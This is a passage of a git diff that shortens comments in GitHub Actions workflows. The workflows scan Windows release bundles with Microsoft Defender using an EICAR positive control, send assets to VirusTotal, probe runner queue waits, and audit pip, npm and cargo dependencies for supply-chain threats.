$eicarPath = Join-Path $env:RUNNER_TEMP 'defender-selftest.com'
# Real-time protection may block the write; that is the control passing.
$controlPassed = $false
@@ -1416,10 +1199,7 @@ jobs:
if (Test-Path $eicarPath) {
$controlOut = (& $mp -Scan -ScanType 3 -File $eicarPath -DisableRemediation 2>&1 | Out-String)
$controlPassed = [bool](($controlOut -match 'found\s+\d+\s+threat') -or ($controlOut -match 'EICAR'))
- # Remediation is asynchronous: the sample can pass Test-Path and still
- # be quarantined mid-scan. Vanishing means the control fired, not a
- # missing scanner - nothing else deletes it and -DisableRemediation
- # stops this scan from doing so, so a dead engine leaves it on disk.
+ # Remediation is asynchronous: a vanished sample means the control fired.
if (-not $controlPassed -and -not (Test-Path $eicarPath)) {
Write-Host 'EICAR positive control quarantined before the scan could open it; real-time protection is live.'
$controlPassed = $true
@@ -1429,9 +1209,7 @@ jobs:
Write-Host 'EICAR positive control blocked on write; real-time protection is live.'
$controlPassed = $true
}
- # The real test of whether a scanner exists, and the only one left with
- # the cmdlets down: a control that does not fire means MpCmdRun cannot
- # scan either, so skip as before rather than fail on a missing engine.
+ # A control that does not fire means no working scanner, so skip rather than fail.
if (-not $controlPassed) {
if ($cmdletsDown) {
Write-Host "::warning::Defender is unavailable on this runner ($($unavailable -join '; ')) and MpCmdRun could not fire the EICAR positive control either; skipping the bundle scan. This is a missing scanner, not a clean verdict - these bundles were not scanned."
@@ -1443,12 +1221,7 @@ jobs:
Write-Host 'EICAR positive control fired via MpCmdRun; scanning with the cmdlets unavailable.'
}
- # Real-time protection off, resolved now that the control has run. The
- # EICAR control proves the engine scans on demand and the MAPS check
- # proves the cloud is reachable; with both, an on-demand scan still sees
- # signature and cloud verdicts, and only block-at-first-sight is lost.
- # Without either, the scan proves nothing and this stays fatal - but
- # those are already in $fatal, so demoting here cannot mask them.
+ # RTP off is demoted only if the EICAR control and MAPS both passed (else already fatal).
if ($rtpOff) {
if ($controlPassed -and $maps) {
$degraded += "$rtpDetail; block-at-first-sight cannot fire, on-demand signature and cloud verdicts still can"
@@ -1488,27 +1261,17 @@ jobs:
}
Write-Host "scanning $($paths.Count) Windows bundle(s)"
- # Scan copies: real-time protection is live, so a detection would delete
- # the release artifact itself. Copies double as submission material,
- # since clearance is per hash and a rebuild hashes differently.
+ # Scan copies so a detection cannot delete the release artifact; they double as samples.
$work = Join-Path $env:RUNNER_TEMP 'defender-scan'
Remove-Item $work -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $work | Out-Null
- # Real-time protection acts on open and on write, and -DisableRemediation
- # governs only the explicit scan, so a hit would quarantine the bundle
- # mid-copy and leave the failure handler nothing to upload. Exempt both
- # ends of the copy. The verdict is unaffected: -DisableRemediation
- # ignores file exclusions. Left in place, since the copies must survive
- # until the failure-gated preserve step runs.
+ # Exclude both copy ends so RTP cannot quarantine mid-copy; -DisableRemediation ignores
+ # exclusions, so the verdict is unaffected.
$exclude = @($work) + @($paths | Split-Path -Parent | Sort-Object -Unique)
Add-MpPreference -ExclusionPath $exclude -ErrorAction Continue
- # -ErrorAction Continue does not stop on a rejected exclusion, so read
- # it back. Defender stores these verbatim; normalise anyway.
- # Keyed on the reading cmdlet, not the blanket flag: $pref can be live
- # while $status is down. With $pref unreadable there is nothing to read
- # back, and a mid-scan quarantine still fails below as unscannable.
+ # Read the exclusions back; a rejected one does not stop under -ErrorAction Continue.
if ($pref) {
$norm = { param($p) $p.TrimEnd('\').ToLowerInvariant() }
$applied = @(@((Get-MpPreference).ExclusionPath) | ForEach-Object { & $norm $_ })
@@ -1526,8 +1289,7 @@ jobs:
$copy = Join-Path $work $leaf
Copy-Item $f $copy -Force
- # Block-at-first-sight only consults the cloud for internet-zone files,
- # so stamp mark-of-the-web or this is not the user path.
+ # Mark-of-the-web: block-at-first-sight only consults the cloud for internet-zone files.
"[ZoneTransfer]`nZoneId=3" | Set-Content -Path $copy -Stream Zone.Identifier -Encoding Ascii -ErrorAction SilentlyContinue
$out = & $mp -Scan -ScanType 3 -File $copy -DisableRemediation 2>&1
@@ -1535,8 +1297,7 @@ jobs:
$text = ($out | Out-String)
$out | ForEach-Object { Write-Host " $_" }
- # Exit 2 is a detection or a scan error, and 0 is the only documented
- # clean code, so read the output text too.
+ # 0 is the only documented clean code and 2 is ambiguous, so read the output too.
if ($text -match 'found\s+\d+\s+threat') {
$names = @([regex]::Matches($text, '((?:Trojan|Virus|Worm|Backdoor|Ransom|HackTool|PUA|Behavior|Program|Misleading)[:\w\./!\-]+)') |
ForEach-Object { $_.Groups[1].Value } | Sort-Object -Unique)
@@ -1558,8 +1319,7 @@ jobs:
Write-Host "::error::Refusing to publish a Windows bundle Defender flags: $($detected -join '; ')"
Write-Host 'If this is a false positive, submit it at https://www.microsoft.com/en-us/wdsi/filesubmission (Software developer -> incorrectly detected) and re-run once cleared.'
}
- # ASR fires on process launch and this job never runs the bundle, so these
- # are runner activity, not a verdict on it. Fatal would block every release.
+ # ASR events are runner activity, not a verdict on the bundle, so they are not fatal.
$asrEvents = @(Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-Windows Defender/Operational'; Id = 1121, 1122
} -ErrorAction SilentlyContinue | Where-Object { $_.TimeCreated -ge $scanStart })
@@ -1576,19 +1336,8 @@ jobs:
Remove-Item $work -Recurse -Force -ErrorAction SilentlyContinue
Write-Host "All $($paths.Count) Windows bundle(s) scanned clean."
- # Later steps carry an implicit success(), so on a detection the flagged
- # bundle would be discarded with the runner.
- #
- # 90 days, not 7. Clearance is per hash and a rebuild hashes differently, so these copies are
- # the only submittable sample for this release -- and a vendor analyst round trip plus our own
- # reaction routinely outlasts a week, at which point the evidence for the detection we are
- # disputing is gone and the dispute has to start from a different build.
- #
- # The Microsoft submission packet that describes them is uploaded by its own step further
- # down, NOT here. It cannot be added to this step's path: the packet is assembled ~60 lines
- # below, and steps run top to bottom, so at this point the file does not exist yet. That was
- # the first version of this change, and `if-no-files-found: ignore` would have hidden it
- # forever -- an artefact silently missing the one document it exists to carry.
+ # Kept 90 days: clearance is per hash, so these copies are the only submittable sample.
+ # The submission packet is uploaded by a later step, after it is assembled.
- name: Preserve flagged Windows bundles
if: failure() && matrix.platform == 'windows-latest'
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
@@ -1600,7 +1349,7 @@ jobs:
retention-days: 90
# ── Windows: every executable in the bundle must be signed ──
- # NSIS runs its plugin DLLs from $PLUGINSDIR; signing the installer misses them.
+ # NSIS runs plugin DLLs from $PLUGINSDIR; signing the installer misses them.
- name: Verify every executable in the Windows bundles is signed
if: matrix.platform == 'windows-latest'
shell: pwsh
@@ -1613,8 +1362,7 @@ jobs:
.github/scripts/assert-bundle-signed.ps1 -Path $paths
# ── Windows: assemble a Microsoft false-positive submission packet ──
- # The WDSI portal is a web form with no API, so this cannot be automated,
- # but pre-filling the lookups makes submitting a build take seconds.
+ # WDSI has no API; pre-fill the lookups so submission is quick.
- name: Prepare Microsoft submission packet
if: (success() || failure()) && matrix.platform == 'windows-latest' && steps.build_windows.outcome == 'success'
shell: pwsh
@@ -1655,19 +1403,14 @@ jobs:
$md -join "`n" | Out-File $env:GITHUB_STEP_SUMMARY -Append -Encoding utf8
Write-Host ($md -join "`n")
- # Here, and not on the bundle-preserving step above, because the packet is written by the step
- # immediately before this one. A job summary is ephemeral: it goes with the run, so the one
- # document written for the purpose of disputing a detection was being discarded along with the
- # detection it disputes. 90 days for the same reason the bundles get 90 -- clearance is per
- # hash, and a vendor round trip outlasts a week.
+ # Separate step because the packet is written by the step before this; kept 90 days.
- name: Preserve the Microsoft submission packet
if: always() && matrix.platform == 'windows-latest'
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
name: ms-submission-packet-${{ matrix.artifact }}
path: ${{ runner.temp }}/ms-submission-packet.md
- # ignore, not warn: the packet is only assembled when there is something to submit, so its
- # absence on a clean release is the normal case and must not add an annotation.
+ # The packet only exists when something was flagged.
if-no-files-found: ignore
retention-days: 90
@@ -1675,10 +1418,7 @@ jobs:
shell: bash
env:
ARTIFACT_PATHS: ${{ steps.build_linux.outputs.artifactPaths || steps.build_linux_arm64.outputs.artifactPaths || steps.build_macos.outputs.artifactPaths || steps.build_windows.outputs.artifactPaths }}
- # Both Windows legs emit a -setup.exe, and publish-release merges every
- # leg's artifact into one directory, so the two must not stage the same
- # name. x64 keeps the historical name; anything else would break every
- # published download link and the updater entry that points at it.
+ # Both Windows legs emit -setup.exe into one merged dir; x64 keeps the historical name.
MATRIX_ARTIFACT: ${{ matrix.artifact }}
run: |
set -euo pipefail
@@ -1764,18 +1504,12 @@ jobs:
retention-days: 1
# Only this job gets write access; builds hand off signed files via artifacts.
- # Draft runs stop after uploading immutable assets; publishing the reviewed draft
- # is validated by publish-desktop-updater.yml without rebuilding.
publish-release:
name: Publish desktop release
- # Only prepare-version, so this starts alongside the build matrix and
- # queues for its runner during the build instead of after it. "Wait for the
- # build matrix" below restores the gate `needs: build` gave away. The cost
- # is one runner slot held for the length of the run.
+ # Only prepare-version so this queues during the build; "Wait for the build matrix"
+ # below restores the `needs: build` gate.
needs: [prepare-version]
runs-on: ubuntu-latest
- # Waits out the build (legs cap at 60) then downloads and uploads; the
- # publish steps themselves are 17-40s.
timeout-minutes: 90
permissions:
contents: write # create the versioned Release and replace updater-channel metadata
@@ -1793,20 +1527,16 @@ jobs:
with:
egress-policy: audit
- # Replaces the `needs: build` gate dropped above, and must be at least as
- # strict: publishing a partial release is far worse than publishing late.
+ # Replaces `needs: build` and must be at least as strict.
- name: Wait for the build matrix
env:
GH_TOKEN: ${{ github.token }}
run: |
set -uo pipefail
- # publishing requires every named matrix leg to finish successfully.
LEGS=('Build macOS (Apple Silicon)' 'Build Linux (x64)' 'Build Linux (ARM64)' 'Build Windows (x64)' 'Build Windows (ARM64)')
POLL=30
DEADLINE=$(( $(date +%s) + 75 * 60 ))
- # Matrix job records appear with the run, so a leg still missing well
- # after the start is a real problem, not a slow API.
STARTUP_DEADLINE=$(( $(date +%s) + 15 * 60 ))
API_FAILS=0
@@ -1844,8 +1574,6 @@ jobs:
fi
done
- # Fail on the first finished leg that did not succeed rather than
- # holding a runner to reach the same answer later.
if [ -n "$BAD" ]; then
echo "ERROR: refusing to publish, these build jobs did not succeed: ${BAD}" >&2
exit 1
@@ -1916,9 +1644,8 @@ jobs:
print('\n'.join(sorted(actual_names)))
PY
- # Validation runs before the scan so an already-used version is rejected
- # before any bundle is disclosed to VirusTotal. Creation remains deferred
- # until after the scan so a non-draft release is never left public and empty.
+ # Validate before the scan so a used version is never disclosed to VirusTotal; create the
+ # release after the scan so it is never public and empty.
- name: Validate versioned release state
id: versioned_release_state
shell: bash
@@ -1929,8 +1656,7 @@ jobs:
notes_file="$RUNNER_TEMP/desktop-release-notes.md"
printf '%s\n' "$DESKTOP_RELEASE_NOTES" > "$notes_file"
- # The v{version} release already exists; re-checked here because the
- # read-scoped prepare-version token cannot see drafts.
+ # Re-checked here: the prepare-version token cannot see drafts.
if ! gh api "repos/${GH_REPO}/releases/tags/${DESKTOP_RELEASE_TAG}" \
> "$RUNNER_TEMP/target-release-publish.json" 2>/dev/null; then
echo "Release ${DESKTOP_RELEASE_TAG} does not exist." >&2
@@ -2059,9 +1785,7 @@ jobs:
output.write_text(json.dumps(metadata, indent=2) + '\n')
PY
- # The release body is the maintainer's changelog and this workflow never
- # rewrites it. The target release is already public, so a validation-only
- # run must not upload to it.
+ # Never rewrite the maintainer's release body.
- name: Publish release assets
if: ${{ !inputs.draft }}
shell: bash
@@ -2197,11 +1921,7 @@ jobs:
PY
)"
- # The prepare-version downgrade check ran before a build that can take an
- # hour, so re-read GitHub latest here: promoting past a newer release would
- # hand every client an older manifest.
- # Fail closed: a transient lookup failure must not read as "no newer
- # release". Only a genuine 404 means the repository has no latest yet.
+ # Re-read latest after the long build; fail closed, only a 404 means no latest yet.
latest_before="$RUNNER_TEMP/latest-before-promote.json"
latest_error="$RUNNER_TEMP/latest-before-promote.err"
if gh api "repos/${GITHUB_REPOSITORY}/releases/latest" > "$latest_before" 2> "$latest_error"; then
@@ -2280,22 +2000,10 @@ jobs:
# ── Advisory multi-engine scan of the bundles just uploaded ──
- # Defender (build job) is one vendor and gates only Windows. VirusTotal
- # aggregates ~70 engines across all four bundles, which is how a false
- # positive from some other vendor gets noticed here rather than in a user bug
- # report. Advisory on purpose: installers routinely trip one or two obscure
- # heuristics, so a hard gate would block releases on noise. Defender stays the
- # authoritative fail-closed check.
- #
- # Its own job, after publish-release, because the scan is rate-limit bound and
- # not parallelisable: the free tier allows 4 requests/minute per key, so the
- # four bundles share one budget however they are scheduled. Inside the publish
- # job it was ~9 minutes of the ~9.5 the job took, delaying every release by its
- # full length while being unable to block one.
+ # Advisory VirusTotal scan; Defender stays the fail-closed gate. Own job because the free
+ # tier's 4 requests/minute would delay publish-release.
virustotal-scan:
- # Not "post-publish": `inputs.draft` defaults to true and the release is
- # created with `--draft` on that input, so the ordinary run has uploaded the
- # assets to a draft. The name has to read true for both dispatches.
+ # Not "post-publish": by default the assets are uploaded to a draft.
name: VirusTotal release asset scan
needs: [publish-release]
runs-on: ubuntu-latest
@@ -2309,7 +2017,6 @@ jobs:
with:
egress-policy: audit
- # Sparse: a full checkout to fetch one file would be wasteful.
- name: Check out the scan script
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
@@ -2329,8 +2036,6 @@ jobs:
VT_API_KEY: ${{ secrets.VIRUS_TOTAL_API_TOKEN }}
run: |
set -euo pipefail
- # Name the cause loudly: a silent failure here leaves the release
- # scanned by nothing but a terse "no summary" note.
if [ ! -f scripts/virustotal_scan.py ]; then
echo "::error::scripts/virustotal_scan.py is missing; the checkout step in this job must provide it"
exit 1
@@ -2347,23 +2052,14 @@ jobs:
if [ -f "$summary" ]; then
cat "$summary" >> "$GITHUB_STEP_SUMMARY"
else
- # Must stay byte-identical to SUMMARY_HEADING in
- # scripts/virustotal_scan.py, or a run that produced no summary shows
- # a second, unrelated section. A test ties the two together.
+ # Must stay byte-identical to SUMMARY_HEADING in scripts/virustotal_scan.py (tested).
echo '### VirusTotal release asset scan' >> "$GITHUB_STEP_SUMMARY"
echo '' >> "$GITHUB_STEP_SUMMARY"
echo 'The scan step produced no summary.' >> "$GITHUB_STEP_SUMMARY"
fi
- # The summary carries the false-positive submission packet that
- # submission_packet_lines() builds: the flagged assets, their SHA-256s, the vendor routes and
- # the note that clearance is per hash. A job summary is ephemeral, so the one document written
- # for the purpose of disputing a detection was being thrown away along with the run, and the
- # dispute then had to be reconstructed from a report nobody kept. Keeping it costs a few KB.
- #
- # No env and no secret here on purpose: test_post_publish_scan_job_holds_no_release_credentials
- # asserts this job's complete secret set is VIRUS_TOTAL_API_TOKEN alone and that no step of it
- # carries a token, so an upload step must add neither.
+ # Keep the summary (it holds the false-positive submission packet).
+ # No env or secret here: a test asserts this job only holds VIRUS_TOTAL_API_TOKEN.
- name: Preserve the VirusTotal summary and submission packet
if: always()
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
diff --git a/.github/workflows/runner-pool-probe.yml b/.github/workflows/runner-pool-probe.yml
index f2b97b4e686..85d0ed60f24 100644
--- a/.github/workflows/runner-pool-probe.yml
+++ b/.github/workflows/runner-pool-probe.yml
@@ -1,48 +1,16 @@
name: Runner pool probe
-# Does the runner label change how long a job waits? Identical no-op cells dispatched in
-# the same second from one matrix, so the label is the only variable. Re-run it after any
-# relabelling, to check the advantage did not just move with the crowd.
+# Measures queue wait per runner label: identical no-op cells dispatched together.
on:
pull_request:
paths:
- .github/workflows/runner-pool-probe.yml
-# Latest-only, like every other pull-request workflow here. This one fans out to ten
-# runners, so a second push to the same pull request was leaving a full ten-runner matrix
-# measuring a commit nobody will merge.
-#
-# What that costs is SLOTS, not minutes. This repository is public, so standard
-# GitHub-hosted runners bill nothing and the account's included-minutes meter reads zero;
-# every label in the matrix below is a standard runner. The scarce resource is concurrency,
-# and four of these ten cells are macOS against a cap of five concurrent macOS jobs
-# ACCOUNT-WIDE, across every repository -- the cap tests/studio/test_macos_slots_per_commit.py
-# exists to protect, and the reason macOS queue waits here are measured in hours rather
-# than minutes.
-#
-# What cancelling saves is SMALL, and that is worth stating rather than inflating. A cell
-# that reaches a runner holds it for about five seconds, because the whole job is one echo:
-# measured over the 16 macOS cells of the last four successful dispatches, median 4s and
-# longest 6s. `timeout-minutes: 10` below is the cutoff for a cell that HANGS and nothing
-# else; reading it as what a superseded matrix holds overstates the normal case by two
-# orders of magnitude. A queued cell holds no slot at all, so a superseded matrix that is
-# still waiting costs nothing until it is dispatched, and what it then takes from the job
-# behind it is those few seconds, four times over.
-#
-# The reason to cancel anyway is that the saving is free and the pool is genuinely
-# contended. Those same 16 cells waited a median of 15 minutes to reach a runner and one
-# waited just over 3 hours; the superseded dispatch that prompted this waited 5 minutes
-# 9 seconds before the newer push cleared it. Those are the probe's OWN waits, evidence
-# that macOS capacity is scarce, and deliberately not offered as delay it imposed on
-# anyone else: the two were conflated here once already.
-#
-# Superseding does not weaken the measurement. The probe compares labels WITHIN one
-# dispatch -- the ten cells ENTER the queue in the same second, which is what makes their
-# waits comparable, and that is the only comparison it makes -- so a cancelled older
-# matrix takes a whole self-contained measurement with it rather than half of the current
-# one. They leave it at whatever times their labels can be served, which is the result.
-# Two dispatches were never comparable to each other anyway: the queue they sampled is
-# not the same queue.
+# Latest-only: cancels a superseded ten-runner matrix. Four cells are macOS against an
+# account-wide cap of five concurrent macOS jobs, so the scarce resource is slots.
+# The saving is small: a dispatched cell is one echo, median 4s and longest 6s.
+# `timeout-minutes` below is the cutoff for a cell that hangs.
+# Labels are compared only within one dispatch, so cancelling loses no comparison.
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
diff --git a/.github/workflows/security-audit.yml b/.github/workflows/security-audit.yml
index 305150bf4c1..456176e340f 100644
--- a/.github/workflows/security-audit.yml
+++ b/.github/workflows/security-audit.yml
@@ -1,70 +1,13 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Multi-language supply-chain audit. Triggers:
-# - every pull request, deliberately not path-filtered, so nothing
-# slips past the audit by touching only files outside the
-# dependency manifests,
-# - push to main,
-# - nightly @ 04:13 UTC so newly-published advisories surface even
-# when no PR opens,
-# - workflow_dispatch for ad-hoc invocations.
-#
-# Six jobs:
-# - advisory-audit: one runner that runs pip-audit + npm audit +
-# cargo audit back-to-back. All three are
-# advisory-DB lookups -- fast, lockfile-driven,
-# no archive download. Setting up the python /
-# node / rust toolchains on one runner and
-# running the three commands serially is
-# cheaper than spinning up three runners.
-# - pip-scan-packages: 3-shard matrix that downloads + pattern-scans
-# every PyPI archive in the transitive closure.
-# This is the expensive job (~6 min/shard,
-# running in parallel) and it must stay
-# independent so a CVE-DB hit in advisory-audit
-# does not block the supply-chain pattern scan
-# (or vice versa).
-# - npm-scan-packages: npm tarball content scan, no npm install.
-# - npm-provenance-and-install-scripts:
-# npm audit signatures + new-postinstall gate.
-#
-# All steps are non-blocking initially. The default branch already
-# carries a known-vuln backlog (the dependabot banner shows 17 today,
-# pip-audit catches 2 more, npm/cargo will catch their own); a hard
-# gate now would block every PR on a baseline we have not triaged.
-# As each baseline closes, drop continue-on-error per step.
-#
-# Dependency coverage:
-# - unsloth core (pyproject.toml [project.dependencies])
-# - unsloth `huggingfacenotorch` extras (the canonical install path
-# for fine-tuning users; pulls transformers / peft / accelerate /
-# trl / datasets / diffusers / sentence-transformers / etc.)
-# - all six Unsloth backend requirements files
-# - Unsloth frontend (npm) and Tauri shell (cargo)
-# Each Python step builds a filtered dep list from pyproject.toml +
-# requirements/*.txt before auditing. We do NOT install any of these
-# -- pip-audit resolves through PyPI metadata, scan_packages.py
-# downloads sdist/wheel archives and inspects them without running
-# install hooks, so an attacker who has compromised a transitive dep
-# cannot execute code in this workflow.
+# Supply-chain audit on every PR (deliberately unfiltered), push to main, nightly and dispatch.
name: Security audit
on:
- # PRs run this only when they touch something it actually reads. Every job here is a
- # function of the dependency manifests, the lockfiles, or the scanner sources: the pip
- # shards build their input entirely from pyproject.toml + studio/backend/requirements/**,
- # the npm jobs read studio/frontend/package*.json, and advisory-audit adds
- # studio/src-tauri/Cargo.lock. A PR touching none of those cannot change any verdict, and
- # over a 198 PR sample only 3.5% touched them, so the other 96.5% were re-scanning an
- # unchanged dependency tree for roughly 40 minutes each.
- #
- # The floating pins that CAN change a verdict without a diff (a version range resolving to
- # a new release, a fresh advisory) are covered by the daily cron below, which is
- # deliberately left unfiltered, as is every push to main. So the worst case a filter
- # introduces is that a newly published malicious version is caught by the nightly run or at
- # merge instead of on the PR that did not touch dependencies.
+ # PRs run this only when they touch an input it reads; floating pins are covered by the
+ # daily cron and every push to main.
pull_request:
paths:
- 'pyproject.toml'
@@ -75,11 +18,7 @@ on:
- 'studio/src-tauri/Cargo.toml'
- 'scripts/scan_packages.py'
- 'scripts/scan_packages_baseline.json'
- # Gating steps run these scripts and read these inputs on a pull request:
- # advisory-audit runs lockfile_supply_chain_audit.py, which reads every lockfile
- # in its DEFAULT_NPM_LOCKFILES and DEFAULT_CARGO_LOCKFILES; npm-scan-packages runs
- # scan_npm_packages.py against its baseline with SCAN_ENFORCE=1; and
- # npm-provenance-and-install-scripts runs check_new_install_scripts.py.
+ # Scripts and inputs the gating steps read on a pull request.
- 'scripts/lockfile_supply_chain_audit.py'
- 'studio/package-lock.json'
- 'studio/backend/core/data_recipe/oxc-validator/package-lock.json'
@@ -87,15 +26,13 @@ on:
- 'scripts/scan_npm_packages.py'
- 'scripts/scan_npm_packages_baseline.json'
- 'scripts/check_new_install_scripts.py'
- # Not tests/security/** or the unsloth/models files those suites protect: no job
- # here runs pytest any more. The suites moved to workflow-trigger-lint.yml, which
- # has no paths filter (tests/studio/test_short_job_absorption.py keeps them there),
- # so those files already run the suites on every pull request.
+ # Not tests/security/**: those suites run in workflow-trigger-lint.yml
+ # (tests/studio/test_short_job_absorption.py keeps them there).
- '.github/workflows/security-audit.yml'
push:
branches: [main]
schedule:
- - cron: '13 4 * * *' # 04:13 UTC daily, off the cron rush
+ - cron: '13 4 * * *'
workflow_dispatch:
concurrency:
@@ -113,59 +50,29 @@ permissions:
contents: read
# ──────────────────────────────────────────────────────────────────────
-# Network-resilience knobs, applied to every job/step. These add retries
-# and backoff ONLY; they do not relax a single integrity check. cargo
-# still resolves against Cargo.lock (--locked), pip still verifies the
-# wheels it downloads, npm still enforces package-lock integrity, the
-# harden-runner egress allowlists below are unchanged, and every action
-# stays SHA-pinned. The advisory-audit run on 2026-05-29 red-failed when
-# one crates.io tarball fetch hit "Recv failure: Connection reset by
-# peer" (curl 56); cargo's default of 3 retries over an HTTP/2-multiplexed
-# connection did not recover. The settings below make that class of
-# transient fault self-heal instead of failing the whole run.
+# Network retry knobs only; no integrity check is relaxed.
env:
- # pip: raise the built-in retry count and per-connection timeout.
PIP_RETRIES: "10"
PIP_DEFAULT_TIMEOUT: "60"
- # cargo: retry network ops and disable HTTP/2 multiplexing -- the
- # documented mitigation for the curl-56 connection resets above.
+ # Disabling HTTP/2 multiplexing mitigates crates.io curl-56 connection resets.
CARGO_NET_RETRY: "10"
CARGO_HTTP_MULTIPLEXING: "false"
CARGO_NET_GIT_FETCH_WITH_CLI: "true"
- # npm: retry registry fetches with capped exponential backoff.
NPM_CONFIG_FETCH_RETRIES: "5"
NPM_CONFIG_FETCH_RETRY_MINTIMEOUT: "2000"
NPM_CONFIG_FETCH_RETRY_MAXTIMEOUT: "60000"
jobs:
# ─────────────────────────────────────────────────────────────────────
- # Combined advisory-DB audit: pip-audit + npm audit + cargo audit
- # all on one runner. Each step is continue-on-error so a finding in
- # one toolchain does not suppress the others.
+ # pip-audit + npm audit + cargo audit on one runner; each step is continue-on-error so
+ # one finding does not suppress the others.
# ─────────────────────────────────────────────────────────────────────
advisory-audit:
name: advisory audit (pip + npm + cargo)
runs-on: ubuntu-latest
timeout-minutes: 25
steps:
- # step-security/harden-runner installs an eBPF-based egress
- # firewall on the runner. In `audit` mode it logs every outbound
- # connection without blocking; in `block` mode it rejects
- # anything outside `allowed-endpoints`. We run audit-only
- # initially: the next time this job hits a real PyPI advisory or
- # an attacker-funded archive in pip-scan-packages, the audit log
- # tells us exactly which hosts were dialed and we promote the
- # allowlist to block. Would have *contained* the litellm exfil
- # even if scan_packages had missed the .pth payload.
- # SHA-pinned (not @v2): the litellm 1.82.7 attack chain hijacked
- # mutable tags on aquasecurity/trivy-action and would have hit
- # anyone using @v0 / @v2 / @latest references. Pinning to a 40-
- # char SHA freezes this action at known-good code; Dependabot's
- # github-actions ecosystem will auto-bump the SHA.
- # v2.20.0 commit:
- # Per-job allowlist: advisory-audit hits PyPI, npm registry,
- # crates.io advisories, GitHub release artefacts (osv-scanner
- # binary), Semgrep registry, and TruffleHog's own GitHub action.
+ # Per-job egress allowlist. Audit mode for now: logs dialed hosts, does not block them.
- name: Harden runner (egress block)
uses: step-security/harden-runner@ccd8616d44fd3846e67624a50d5aad6d37bf2d25 # v2.22.1
with:
@@ -189,8 +96,7 @@ jobs:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
- # Full history so TruffleHog can diff base..head; without
- # this it sees only the latest commit and reports nothing.
+ # Full history so TruffleHog can diff base..head.
fetch-depth: 0
persist-credentials: false
@@ -206,21 +112,12 @@ jobs:
- uses: swatinem/rust-cache@6323deb102c322ba6fcbdcafc7e3dddab59af2b6 # v2.9.2
with:
- # Save only on main. This action defaults to saving on every ref, and
- # a PR-scoped rust cache (550-840MB here) can only be restored by
- # re-runs of that same PR while still counting against the 50 GiB
- # per-repo budget, evicting main's copy that every PR can restore.
+ # Save only on main: PR-scoped caches only serve that PR and evict main's shared copy.
save-if: ${{ github.ref == 'refs/heads/main' }}
workspaces: studio/src-tauri -> target
- name: Install pip-audit + cargo-audit
- # cargo-audit pulls advisories from the RustSec advisory-db on
- # first run and caches them under ~/.cargo/advisory-db. Pin
- # --locked so the version we install matches Cargo.lock
- # determinism. cargo-audit 0.22 supports the CVSS 4.0 schema
- # used in 2026 advisories (e.g. RUSTSEC-2026-0073); 0.21
- # crashes with a TOML parse error on that file.
- # npm audit is bundled with the node toolchain, no install.
+ # cargo-audit >= 0.22 is needed for CVSS 4.0 advisories (0.21 fails to parse them).
run: |
retry() { # retry <max-attempts> <command...> with exponential backoff
local max="$1"; shift
@@ -235,34 +132,13 @@ jobs:
done
}
retry 5 python -m pip install --upgrade pip 'pip-audit>=2.7'
- # --locked keeps the resolved tree identical to Cargo.lock; the
- # CARGO_NET_* env above plus this outer loop survive transient
- # crates.io connection resets without weakening that guarantee.
retry 5 cargo install --locked --version '^0.22' cargo-audit
# ─────────────────────────────────────────────────────────────
- # Python: pip-audit
# ─────────────────────────────────────────────────────────────
- name: Build filtered Python requirements set
- # Two transforms:
- # (1) Generate audit-reqs/unsloth-deps.txt from pyproject.toml
- # so pip-audit sees the unsloth pip package's own dep set
- # (core + huggingfacenotorch extras: transformers / peft /
- # accelerate / trl / datasets / diffusers /
- # sentence-transformers / huggingface_hub / hf_transfer /
- # etc.).
- # (2) Copy each studio/backend/requirements/*.txt into
- # audit-reqs/ with `git+` lines stripped. pip-audit's `-r`
- # mode does a dry-run resolve against PyPI metadata; a
- # `git+https://...` spec forces it to clone, which is
- # both slow and outside the threat model (we audit
- # PyPI-served archives; a git ref is whatever HEAD says
- # on the runner). A comment line is left in place so the
- # skipped specs are obvious in the artifact.
- # The `huggingface` extra is `huggingfacenotorch` plus torch /
- # torchvision / triton, deliberately skipped: Unsloth backend
- # already pins a torch and the +cu* / +cpu local-version tags
- # trip up the PyPI resolver in `-r` mode.
+ # Build audit-reqs/ from pyproject (core + huggingfacenotorch extras) and the backend
+ # requirements with `git+` lines stripped (pip-audit -r would clone them).
run: |
mkdir -p audit-reqs
python <<'PY' > audit-reqs/unsloth-deps.txt
@@ -327,20 +203,8 @@ jobs:
done
- name: pip-audit (declared Python deps, no install)
- # `-r requirements.txt` resolves the requirements through pip's
- # dependency resolver against PyPI metadata and audits the
- # resolved tree without ever executing setup.py / install
- # hooks. Way faster than installing the full Unsloth runtime
- # and -- critically -- safer: an attacker who has compromised
- # a transitive dep cannot run code in this job.
- #
- # extras.txt + extras-no-deps.txt have legacy setup.py
- # packages (notably openai-whisper) whose setup.py imports
- # `pkg_resources`, which the isolated build env's current
- # setuptools no longer ships. PIP_CONSTRAINT pins an older
- # setuptools into the build env so those builds resolve.
- # Per-file loop so one bad file doesn't take out the whole
- # audit.
+ # `-r` resolves via PyPI metadata without running install hooks.
+ # PIP_CONSTRAINT pins an older setuptools so legacy setup.py packages (openai-whisper) build.
continue-on-error: true
env:
PIP_CONSTRAINT: ${{ github.workspace }}/audit-reqs/build-constraints.txt
@@ -382,14 +246,8 @@ jobs:
} >> "$GITHUB_STEP_SUMMARY"
# ─────────────────────────────────────────────────────────────
- # Pre-install lockfile supply-chain audit (npm + cargo).
- # Catches structural anomalies (non-registry resolved URLs,
- # missing integrity hashes, known IOC strings) BEFORE `npm
- # audit` or OSV-Scanner consult the advisory DB. The advisory
- # path is reactive -- there is a window between a malicious
- # publication and the GHSA landing. This step fires on the
- # injection pattern itself so it catches the same class of
- # attack the moment the lockfile shape becomes wrong.
+ # Structural lockfile scan (non-registry URLs, missing integrity, IOC strings); catches
+ # attacks before an advisory exists.
# ─────────────────────────────────────────────────────────────
- name: Lockfile supply-chain audit (pre-install scan)
run: |
